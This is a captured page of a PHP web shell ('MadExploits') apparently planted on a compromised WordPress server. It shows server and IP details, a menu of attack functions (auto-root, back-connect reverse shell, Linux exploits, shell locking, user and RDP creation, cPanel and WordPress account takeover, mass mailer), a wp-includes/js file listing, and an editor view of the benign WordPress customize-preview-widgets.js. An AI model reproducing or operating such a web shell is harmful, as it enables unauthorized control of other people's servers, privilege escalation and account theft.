Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.16.130.96
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ilpnowa /
web /
wp-includes /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
codemirror
[ DIR ]
drwxr-xr-x
crop
[ DIR ]
drwxr-xr-x
imgareaselect
[ DIR ]
drwxr-xr-x
jcrop
[ DIR ]
drwxr-xr-x
jquery
[ DIR ]
drwxr-xr-x
mediaelement
[ DIR ]
drwxr-xr-x
plupload
[ DIR ]
drwxr-xr-x
swfupload
[ DIR ]
drwxr-xr-x
thickbox
[ DIR ]
drwxr-xr-x
tinymce
[ DIR ]
drwxr-xr-x
admin-bar.js
11.53
KB
-rw-r--r--
admin-bar.min.js
7.02
KB
-rw-r--r--
api-request.js
2.29
KB
-rw-r--r--
api-request.min.js
697
B
-rw-r--r--
autosave.js
21.11
KB
-rw-r--r--
autosave.min.js
5.51
KB
-rw-r--r--
backbone.min.js
22.77
KB
-rw-r--r--
colorpicker.js
28.4
KB
-rw-r--r--
colorpicker.min.js
16.28
KB
-rw-r--r--
comment-reply.js
3.37
KB
-rw-r--r--
comment-reply.min.js
1.05
KB
-rw-r--r--
customize-base.js
25.01
KB
-rw-r--r--
customize-base.min.js
7.77
KB
-rw-r--r--
customize-loader.js
7.66
KB
-rw-r--r--
customize-loader.min.js
3.44
KB
-rw-r--r--
customize-models.js
6.6
KB
-rw-r--r--
customize-models.min.js
3.6
KB
-rw-r--r--
customize-preview-nav-menus.js
14.61
KB
-rw-r--r--
customize-preview-nav-menus.mi...
4.93
KB
-rw-r--r--
customize-preview-widgets.js
20.58
KB
-rw-r--r--
customize-preview-widgets.min....
7.71
KB
-rw-r--r--
customize-preview.js
27.18
KB
-rw-r--r--
customize-preview.min.js
10.64
KB
-rw-r--r--
customize-selective-refresh.js
32.48
KB
-rw-r--r--
customize-selective-refresh.mi...
10.56
KB
-rw-r--r--
customize-views.js
4.89
KB
-rw-r--r--
customize-views.min.js
2.37
KB
-rw-r--r--
heartbeat.js
19.72
KB
-rw-r--r--
heartbeat.min.js
5.4
KB
-rw-r--r--
hoverIntent.js
4.83
KB
-rw-r--r--
hoverIntent.min.js
1.09
KB
-rw-r--r--
imagesloaded.min.js
7.81
KB
-rw-r--r--
json2.js
17.99
KB
-rw-r--r--
json2.min.js
3.06
KB
-rw-r--r--
masonry.min.js
28.28
KB
-rw-r--r--
mce-view.js
25.12
KB
-rw-r--r--
mce-view.min.js
9.52
KB
-rw-r--r--
media-audiovideo.js
25.6
KB
-rw-r--r--
media-audiovideo.min.js
12.08
KB
-rw-r--r--
media-editor.js
28.23
KB
-rw-r--r--
media-editor.min.js
10.65
KB
-rw-r--r--
media-grid.js
27.07
KB
-rw-r--r--
media-grid.min.js
13.34
KB
-rw-r--r--
media-models.js
43.03
KB
-rw-r--r--
media-models.min.js
13.24
KB
-rw-r--r--
media-views.js
234.69
KB
-rw-r--r--
media-views.min.js
98.35
KB
-rw-r--r--
quicktags.js
21.87
KB
-rw-r--r--
quicktags.min.js
10.89
KB
-rw-r--r--
shortcode.js
10.27
KB
-rw-r--r--
shortcode.min.js
2.55
KB
-rw-r--r--
swfobject.js
9.99
KB
-rw-r--r--
tw-sack.js
4.85
KB
-rw-r--r--
tw-sack.min.js
3.21
KB
-rw-r--r--
twemoji.js
25.19
KB
-rw-r--r--
twemoji.min.js
8.9
KB
-rw-r--r--
underscore.min.js
16.03
KB
-rw-r--r--
utils.js
4.42
KB
-rw-r--r--
utils.min.js
1.78
KB
-rw-r--r--
wp-a11y.js
2.51
KB
-rw-r--r--
wp-a11y.min.js
653
B
-rw-r--r--
wp-ajax-response.js
3.05
KB
-rw-r--r--
wp-ajax-response.min.js
2.02
KB
-rw-r--r--
wp-api.js
45.61
KB
-rw-r--r--
wp-api.min.js
14.34
KB
-rw-r--r--
wp-auth-check.js
3.23
KB
-rw-r--r--
wp-auth-check.min.js
1.74
KB
-rw-r--r--
wp-backbone.js
10.24
KB
-rw-r--r--
wp-backbone.min.js
2.95
KB
-rw-r--r--
wp-custom-header.js
10.15
KB
-rw-r--r--
wp-custom-header.min.js
4.36
KB
-rw-r--r--
wp-embed-template.js
6.04
KB
-rw-r--r--
wp-embed-template.min.js
3.04
KB
-rw-r--r--
wp-embed.js
3.07
KB
-rw-r--r--
wp-embed.min.js
1.37
KB
-rw-r--r--
wp-emoji-loader.js
5.11
KB
-rw-r--r--
wp-emoji-loader.min.js
1.74
KB
-rw-r--r--
wp-emoji-release.min.js
11.74
KB
-rw-r--r--
wp-emoji.js
6.6
KB
-rw-r--r--
wp-emoji.min.js
2.76
KB
-rw-r--r--
wp-list-revisions.js
914
B
-rw-r--r--
wp-list-revisions.min.js
569
B
-rw-r--r--
wp-lists.js
24.64
KB
-rw-r--r--
wp-lists.min.js
7.24
KB
-rw-r--r--
wp-pointer.js
6.54
KB
-rw-r--r--
wp-pointer.min.js
3.55
KB
-rw-r--r--
wp-sanitize.js
993
B
-rw-r--r--
wp-sanitize.min.js
397
B
-rw-r--r--
wp-util.js
3.83
KB
-rw-r--r--
wp-util.min.js
1.02
KB
-rw-r--r--
wpdialog.js
435
B
-rw-r--r--
wpdialog.min.js
237
B
-rw-r--r--
wpglobus-plus-acf.js
5.48
KB
-rw-r--r--
wpglobus-plus-acf.min.js
3.24
KB
-rw-r--r--
wpglobus-plus-main.js
1.75
KB
-rw-r--r--
wpglobus-plus-main.min.js
1.09
KB
-rw-r--r--
wpglobus-plus-publish.js
2.98
KB
-rw-r--r--
wpglobus-plus-publish.min.js
1.9
KB
-rw-r--r--
wpglobus-plus-slug.js
4.21
KB
-rw-r--r--
wpglobus-plus-slug.min.js
2.06
KB
-rw-r--r--
wpglobus-plus-tablepress.js
5.13
KB
-rw-r--r--
wpglobus-plus-tablepress.min.j...
3.68
KB
-rw-r--r--
wpglobus-plus-wpglobeditor.js
2.67
KB
-rw-r--r--
wpglobus-plus-wpglobeditor.min...
1.69
KB
-rw-r--r--
wpglobus-plus-wpseo23.js
1.06
KB
-rw-r--r--
wpglobus-plus-wpseo23.min.js
847
B
-rw-r--r--
wpglobus-plus-yoastseo30.js
1.65
KB
-rw-r--r--
wpglobus-plus-yoastseo30.min.j...
1022
B
-rw-r--r--
wplink.js
20.52
KB
-rw-r--r--
wplink.min.js
11.04
KB
-rw-r--r--
zxcvbn-async.js
502
B
-rw-r--r--
zxcvbn-async.min.js
324
B
-rw-r--r--
zxcvbn.min.js
802.93
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : customize-preview-widgets.js
/* global _wpWidgetCustomizerPreviewSettings */ /** @namespace wp.customize.widgetsPreview */ wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) { var self; self = { renderedSidebars: {}, renderedWidgets: {}, registeredSidebars: [], registeredWidgets: {}, widgetSelectors: [], preview: null, l10n: { widgetTooltip: '' }, selectiveRefreshableWidgets: {} }; /** * Init widgets preview. * * @since 4.5.0 */ self.init = function() { var self = this; self.preview = api.preview; if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) { self.addPartials(); } self.buildWidgetSelectors(); self.highlightControls(); self.preview.bind( 'highlight-widget', self.highlightWidget ); api.preview.bind( 'active', function() { self.highlightControls(); } ); /* * Refresh a partial when the controls pane requests it. This is used currently just by the * Gallery widget so that when an attachment's caption is updated in the media modal, * the widget in the preview will then be refreshed to show the change. Normally doing this * would not be necessary because all of the state should be contained inside the changeset, * as everything done in the Customizer should not make a change to the site unless the * changeset itself is published. Attachments are a current exception to this rule. * For a proposal to include attachments in the customized state, see #37887. */ api.preview.bind( 'refresh-widget-partial', function( widgetId ) { var partialId = 'widget[' + widgetId + ']'; if ( api.selectiveRefresh.partial.has( partialId ) ) { api.selectiveRefresh.partial( partialId ).refresh(); } else if ( self.renderedWidgets[ widgetId ] ) { api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'. } } ); }; /** * Partial representing a widget instance. * * @memberOf wp.customize.widgetsPreview * @alias wp.customize.widgetsPreview.WidgetPartial * * @class * @augments wp.customize.selectiveRefresh.Partial * @since 4.5.0 */ self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{ /** * Constructor. * * @since 4.5.0 * @param {string} id - Partial ID. * @param {Object} options * @param {Object} options.params */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^widget\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for widget partial.' ); } partial.widgetId = matches[1]; partial.widgetIdParts = self.parseWidgetId( partial.widgetId ); options = options || {}; options.params = _.extend( { settings: [ self.getWidgetSettingId( partial.widgetId ) ], containerInclusive: true }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); }, /** * Refresh widget partial. * * @returns {Promise} */ refresh: function() { var partial = this, refreshDeferred; if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) { refreshDeferred = $.Deferred(); refreshDeferred.reject(); partial.fallback(); return refreshDeferred.promise(); } else { return api.selectiveRefresh.Partial.prototype.refresh.call( partial ); } }, /** * Send widget-updated message to parent so spinner will get removed from widget control. * * @inheritdoc * @param {wp.customize.selectiveRefresh.Placement} placement */ renderContent: function( placement ) { var partial = this; if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) { api.preview.send( 'widget-updated', partial.widgetId ); api.selectiveRefresh.trigger( 'widget-updated', partial ); } } }); /** * Partial representing a widget area. * * @memberOf wp.customize.widgetsPreview * @alias wp.customize.widgetsPreview.SidebarPartial * * @class * @augments wp.customize.selectiveRefresh.Partial * @since 4.5.0 */ self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{ /** * Constructor. * * @since 4.5.0 * @param {string} id - Partial ID. * @param {Object} options * @param {Object} options.params */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^sidebar\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for sidebar partial.' ); } partial.sidebarId = matches[1]; options = options || {}; options.params = _.extend( { settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ] }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); if ( ! partial.params.sidebarArgs ) { throw new Error( 'The sidebarArgs param was not provided.' ); } if ( partial.params.settings.length > 1 ) { throw new Error( 'Expected SidebarPartial to only have one associated setting' ); } }, /** * Set up the partial. * * @since 4.5.0 */ ready: function() { var sidebarPartial = this; // Watch for changes to the sidebar_widgets setting. _.each( sidebarPartial.settings(), function( settingId ) { api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) ); } ); // Trigger an event for this sidebar being updated whenever a widget inside is rendered. api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { var isAssignedWidgetPartial = ( placement.partial.extended( self.WidgetPartial ) && ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) ) ); if ( isAssignedWidgetPartial ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } } ); // Make sure that a widget partial has a container in the DOM prior to a refresh. api.bind( 'change', function( widgetSetting ) { var widgetId, parsedId; parsedId = self.parseWidgetSettingId( widgetSetting.id ); if ( ! parsedId ) { return; } widgetId = parsedId.idBase; if ( parsedId.number ) { widgetId += '-' + String( parsedId.number ); } if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) { sidebarPartial.ensureWidgetPlacementContainers( widgetId ); } } ); }, /** * Get the before/after boundary nodes for all instances of this sidebar (usually one). * * Note that TreeWalker is not implemented in IE8. * * @since 4.5.0 * @returns {Array.<{before: Comment, after: Comment, instanceNumber: number}>} */ findDynamicSidebarBoundaryNodes: function() { var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal; regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/; recursiveCommentTraversal = function( childNodes ) { _.each( childNodes, function( node ) { var matches; if ( 8 === node.nodeType ) { matches = node.nodeValue.match( regExp ); if ( ! matches || matches[2] !== partial.sidebarId ) { return; } if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) { boundaryNodes[ matches[3] ] = { before: null, after: null, instanceNumber: parseInt( matches[3], 10 ) }; } if ( 'dynamic_sidebar_before' === matches[1] ) { boundaryNodes[ matches[3] ].before = node; } else { boundaryNodes[ matches[3] ].after = node; } } else if ( 1 === node.nodeType ) { recursiveCommentTraversal( node.childNodes ); } } ); }; recursiveCommentTraversal( document.body.childNodes ); return _.values( boundaryNodes ); }, /** * Get the placements for this partial. * * @since 4.5.0 * @returns {Array} */ placements: function() { var partial = this; return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) { return new api.selectiveRefresh.Placement( { partial: partial, container: null, startNode: boundaryNodes.before, endNode: boundaryNodes.after, context: { instanceNumber: boundaryNodes.instanceNumber } } ); } ); }, /** * Get the list of widget IDs associated with this widget area. * * @since 4.5.0 * * @returns {Array} */ getWidgetIds: function() { var sidebarPartial = this, settingId, widgetIds; settingId = sidebarPartial.settings()[0]; if ( ! settingId ) { throw new Error( 'Missing associated setting.' ); } if ( ! api.has( settingId ) ) { throw new Error( 'Setting does not exist.' ); } widgetIds = api( settingId ).get(); if ( ! _.isArray( widgetIds ) ) { throw new Error( 'Expected setting to be array of widget IDs' ); } return widgetIds.slice( 0 ); }, /** * Reflow widgets in the sidebar, ensuring they have the proper position in the DOM. * * @since 4.5.0 * * @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements that were reflowed. */ reflowWidgets: function() { var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = []; widgetIds = sidebarPartial.getWidgetIds(); sidebarPlacements = sidebarPartial.placements(); widgetPartials = {}; _.each( widgetIds, function( widgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' ); if ( widgetPartial ) { widgetPartials[ widgetId ] = widgetPartial; } } ); _.each( sidebarPlacements, function( sidebarPlacement ) { var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1; // Gather list of widget partial containers in this sidebar, and determine if a sort is needed. _.each( widgetPartials, function( widgetPartial ) { _.each( widgetPartial.placements(), function( widgetPlacement ) { if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) { thisPosition = widgetPlacement.container.index(); sidebarWidgets.push( { partial: widgetPartial, placement: widgetPlacement, position: thisPosition } ); if ( thisPosition < lastPosition ) { needsSort = true; } lastPosition = thisPosition; } } ); } ); if ( needsSort ) { _.each( sidebarWidgets, function( sidebarWidget ) { sidebarPlacement.endNode.parentNode.insertBefore( sidebarWidget.placement.container[0], sidebarPlacement.endNode ); // @todo Rename partial-placement-moved? api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement ); } ); sortedSidebarContainers.push( sidebarPlacement ); } } ); if ( sortedSidebarContainers.length > 0 ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } return sortedSidebarContainers; }, /** * Make sure there is a widget instance container in this sidebar for the given widget ID. * * @since 4.5.0 * * @param {string} widgetId * @returns {wp.customize.selectiveRefresh.Partial} Widget instance partial. */ ensureWidgetPlacementContainers: function( widgetId ) { var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']'; widgetPartial = api.selectiveRefresh.partial( partialId ); if ( ! widgetPartial ) { widgetPartial = new self.WidgetPartial( partialId, { params: {} } ); } // Make sure that there is a container element for the widget in the sidebar, if at least a placeholder. _.each( sidebarPartial.placements(), function( sidebarPlacement ) { var foundWidgetPlacement, widgetContainerElement; foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) { return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber ); } ); if ( foundWidgetPlacement ) { return; } widgetContainerElement = $( sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) + sidebarPartial.params.sidebarArgs.after_widget ); // Handle rare case where before_widget and after_widget are empty. if ( ! widgetContainerElement[0] ) { return; } widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id ); widgetContainerElement.attr( 'data-customize-partial-type', 'widget' ); widgetContainerElement.attr( 'data-customize-widget-id', widgetId ); /* * Make sure the widget container element has the customize-container context data. * The sidebar_instance_number is used to disambiguate multiple instances of the * same sidebar are rendered onto the template, and so the same widget is embedded * multiple times. */ widgetContainerElement.data( 'customize-partial-placement-context', { 'sidebar_id': sidebarPartial.sidebarId, 'sidebar_instance_number': sidebarPlacement.context.instanceNumber } ); sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode ); wasInserted = true; } ); api.selectiveRefresh.partial.add( widgetPartial ); if ( wasInserted ) { sidebarPartial.reflowWidgets(); } return widgetPartial; }, /** * Handle change to the sidebars_widgets[] setting. * * @since 4.5.0 * * @param {Array} newWidgetIds New widget ids. * @param {Array} oldWidgetIds Old widget ids. */ handleSettingChange: function( newWidgetIds, oldWidgetIds ) { var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = []; needsRefresh = ( ( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) || ( newWidgetIds.length > 0 && 0 === oldWidgetIds.length ) ); if ( needsRefresh ) { sidebarPartial.fallback(); return; } // Handle removal of widgets. widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds ); _.each( widgetsRemoved, function( removedWidgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' ); if ( widgetPartial ) { _.each( widgetPartial.placements(), function( placement ) { var isRemoved = ( placement.context.sidebar_id === sidebarPartial.sidebarId || ( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId ) ); if ( isRemoved ) { placement.container.remove(); } } ); } delete self.renderedWidgets[ removedWidgetId ]; } ); // Handle insertion of widgets. widgetsAdded = _.difference( newWidgetIds, oldWidgetIds ); _.each( widgetsAdded, function( addedWidgetId ) { var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId ); addedWidgetPartials.push( widgetPartial ); self.renderedWidgets[ addedWidgetId ] = true; } ); _.each( addedWidgetPartials, function( widgetPartial ) { widgetPartial.refresh(); } ); api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); }, /** * Note that the meat is handled in handleSettingChange because it has the context of which widgets were removed. * * @since 4.5.0 */ refresh: function() { var partial = this, deferred = $.Deferred(); deferred.fail( function() { partial.fallback(); } ); if ( 0 === partial.placements().length ) { deferred.reject(); } else { _.each( partial.reflowWidgets(), function( sidebarPlacement ) { api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement ); } ); deferred.resolve(); } return deferred.promise(); } }); api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial; api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial; /** * Add partials for the registered widget areas (sidebars). * * @since 4.5.0 */ self.addPartials = function() { _.each( self.registeredSidebars, function( registeredSidebar ) { var partial, partialId = 'sidebar[' + registeredSidebar.id + ']'; partial = api.selectiveRefresh.partial( partialId ); if ( ! partial ) { partial = new self.SidebarPartial( partialId, { params: { sidebarArgs: registeredSidebar } } ); api.selectiveRefresh.partial.add( partial ); } } ); }; /** * Calculate the selector for the sidebar's widgets based on the registered sidebar's info. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 */ self.buildWidgetSelectors = function() { var self = this; $.each( self.registeredSidebars, function( i, sidebar ) { var widgetTpl = [ sidebar.before_widget, sidebar.before_title, sidebar.after_title, sidebar.after_widget ].join( '' ), emptyWidget, widgetSelector, widgetClasses; emptyWidget = $( widgetTpl ); widgetSelector = emptyWidget.prop( 'tagName' ) || ''; widgetClasses = emptyWidget.prop( 'className' ) || ''; // Prevent a rare case when before_widget, before_title, after_title and after_widget is empty. if ( ! widgetClasses ) { return; } // Remove class names that incorporate the string formatting placeholders %1$s and %2$s. widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' ); widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' ); if ( widgetClasses ) { widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' ); } self.widgetSelectors.push( widgetSelector ); }); }; /** * Highlight the widget on widget updates or widget control mouse overs. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * @param {string} widgetId ID of the widget. */ self.highlightWidget = function( widgetId ) { var $body = $( document.body ), $widget = $( '#' + widgetId ); $body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' ); $widget.addClass( 'widget-customizer-highlighted-widget' ); setTimeout( function() { $widget.removeClass( 'widget-customizer-highlighted-widget' ); }, 500 ); }; /** * Show a title and highlight widgets on hover. On shift+clicking * focus the widget control. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 */ self.highlightControls = function() { var self = this, selector = this.widgetSelectors.join( ',' ); // Skip adding highlights if not in the customizer preview iframe. if ( ! api.settings.channel ) { return; } $( selector ).attr( 'title', this.l10n.widgetTooltip ); $( document ).on( 'mouseenter', selector, function() { self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) ); }); // Open expand the widget control when shift+clicking the widget element $( document ).on( 'click', selector, function( e ) { if ( ! e.shiftKey ) { return; } e.preventDefault(); self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) ); }); }; /** * Parse a widget ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId Widget ID. * @returns {{idBase: string, number: number|null}} */ self.parseWidgetId = function( widgetId ) { var matches, parsed = { idBase: '', number: null }; matches = widgetId.match( /^(.+)-(\d+)$/ ); if ( matches ) { parsed.idBase = matches[1]; parsed.number = parseInt( matches[2], 10 ); } else { parsed.idBase = widgetId; // Likely an old single widget. } return parsed; }; /** * Parse a widget setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} settingId Widget setting ID. * @returns {{idBase: string, number: number|null}|null} */ self.parseWidgetSettingId = function( settingId ) { var matches, parsed = { idBase: '', number: null }; matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ ); if ( ! matches ) { return null; } parsed.idBase = matches[1]; if ( matches[2] ) { parsed.number = parseInt( matches[2], 10 ); } return parsed; }; /** * Convert a widget ID into a Customizer setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId Widget ID. * @returns {string} settingId Setting ID. */ self.getWidgetSettingId = function( widgetId ) { var parsed = this.parseWidgetId( widgetId ), settingId; settingId = 'widget_' + parsed.idBase; if ( parsed.number ) { settingId += '[' + String( parsed.number ) + ']'; } return settingId; }; api.bind( 'preview-ready', function() { $.extend( self, _wpWidgetCustomizerPreviewSettings ); self.init(); }); return self; })( jQuery, _, wp, wp.customize );
Close